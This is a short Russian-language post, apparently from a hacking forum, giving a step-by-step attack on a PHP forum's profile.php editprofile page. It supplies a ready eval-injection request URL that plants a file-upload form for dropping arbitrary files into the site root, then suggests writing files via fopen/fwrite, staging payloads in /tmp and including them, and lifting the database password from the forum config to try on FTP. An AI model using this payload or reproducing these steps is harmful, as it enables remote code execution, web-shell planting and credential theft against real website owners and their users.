кароче
вот вместо a:include($_GET[w])
ставишь a:eval($_GET[w])
потом идешь как и в случае с include по адресу
/profile.php?mode=editprofile&w=print($_GET[t]);if(isset($_POST[go_up])){if(is_uploaded_file($_FILES[userfile][tmp_name])){@co py($_FILES[userfile][tmp_name],$_FILES[userfile][name]);}};exit;&t=<form enctype=multipart/form-data method=post><input name=userfile type=file><input type=submit name=go_up></form>
если все ok появляется формочка для заливки файла , и тут уже можешь залить все что надо, залитое сохраняется в корневой папке форума в данном случае, это самый простой способ я думаю , но можно например воспользоватся другими функциями php например fopen,fwrite и тп для создания файла.
можно так же если не получится залить файл в папку с форумом залить в /tmp, а потом проинклудить его из /tmp.
если вобще ни куда не получится залить, можно посмотреть конфиг форума с пасом от бд и попробовать пасы на ftp например.